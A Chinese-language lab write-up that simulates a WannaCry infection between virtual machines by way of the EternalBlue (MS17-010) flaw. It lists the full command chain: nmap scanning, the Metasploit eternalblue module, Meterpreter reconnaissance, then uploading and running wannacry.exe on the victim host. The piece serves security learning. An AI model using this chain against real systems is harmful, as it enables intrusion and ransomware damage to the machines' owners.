前言

在之前的介紹中，得知ＷannaCry是因為「永恆之藍」漏洞利用程式，
利用MS17-010漏洞在當時的windows系統中傳播，所以這篇要來模擬當時的情景
註 : MS17-010這個漏洞是當時未打補丁/更新前的windows系統都有的

理想流程

為啥流程前面要加"理想"呢? 看到最後就知道惹!

簡單來說如下圖

1. Attacker會先掃網段中是否有存在的主機，正常來說會掃到Bob這台，之後再去偵查看看是否存在MS17-010漏洞
2. 發現Bob存在MS17-010漏洞，使用永恆之藍滲透，並植入WannaCry
3. 執行WannaCry，並因為是蠕蟲病毒的關係，影響到同網段的Joy

滲透

掃網段

在Attacker輸入指令

nmap -sn 192.168.119.0/24

-sn : Ping scan，只會確認目標主機是否存活

發現有ip 128、129這兩台主機存在(100為自己)

偵查漏洞

先看看128這台開了甚麼port
一樣使用nmap

nmap -sV 192.168.119.128

得知445port運行了Microsoft Directory Services(SMB) Service，且版本為windows7~10之間的某個版本

可以利用MS17-010漏洞攻擊看看

攻擊主機

這裡使用MSF(Metasploit)工具進行攻擊
輸入指令

msfconsole

成功進入msf工具

輸入指令，尋找可以攻擊MS17-010漏洞的exploit

search ms17-010

找到ms17_010_eternalblue這個exploit可以用

輸入指令來使用exploit

use exploit/windows/smb/ms17_010_eternalblue 

成功後輸入

show options

查看有哪些是需要設定的

Required = yes的代表是必須要設定的
可看到只需設定RHOSTS(Remote hosts)
輸入指令

set RHOSTS 192.168.119.128

完成後即可執行exploit
輸入指令

run

最後跳出WIN且開啟Meterpreter Shell代表成功了!

Meterpreter的指令真的蠻多的，
詳細有哪些指令能用可以點參考資料中「Meterpreter功能」查看

接下來透過指令來獲取資訊

sysinfo
getuid

得知目前已是最高權限了

但我想要知道這是誰的電腦
所以再輸入指令

Shell
net user

得到了3個用戶名，推測這台是Bob的電腦

植入病毒

把WannaCry2.0傳送到Bob的桌面
輸入指令

upload /home/kali/Desktop/RANSOMWARE-WANNACRY-2.0/wannacry.exe C:\\Users\\Bob\\Desktop\\wannacry.exe

出現以下代表成功了

• ps. 來個Bob視角
  

執行病毒

輸入指令

shell
cd C:\\Users\\Bob\\Desktop\\
wannacry.exe

成功執行

• ps. Bob視角
  

蠕蟲擴散...!?

理想中，Joy因為在同個網段，應該也要中WannaCry
但結果...恩...看下圖吧

傳播失敗!
為了這個搞了好久(看右下角的時間就知道)
目前猜測的原因 :

1. 因為網路上的病毒載點也沒有標示病毒版本，然後有可能我剛好都載到了2.0的版本，導致域名被註冊走了所以擴散不了
2. 我虛擬機設置錯誤，導致傳播不了

不過真正的原因等到之後分析病毒才會知道了
所以目前...就當受害者只有Bob這台，代表滲透成功╰(°▽°)╯

實際流程

1. Attacker會先掃網段中是否有存在的主機，正常來說會掃到Bob這台，之後再去偵查看看是否存在MS17-010漏洞
2. 發現Bob存在MS17-010漏洞，使用永恆之藍滲透，並植入WannaCry，Bob中毒

後記

模擬完如何滲透後，接下來就來分析WannaCry吧

參考資料

Meterpreter功能

MS17-010 - Win32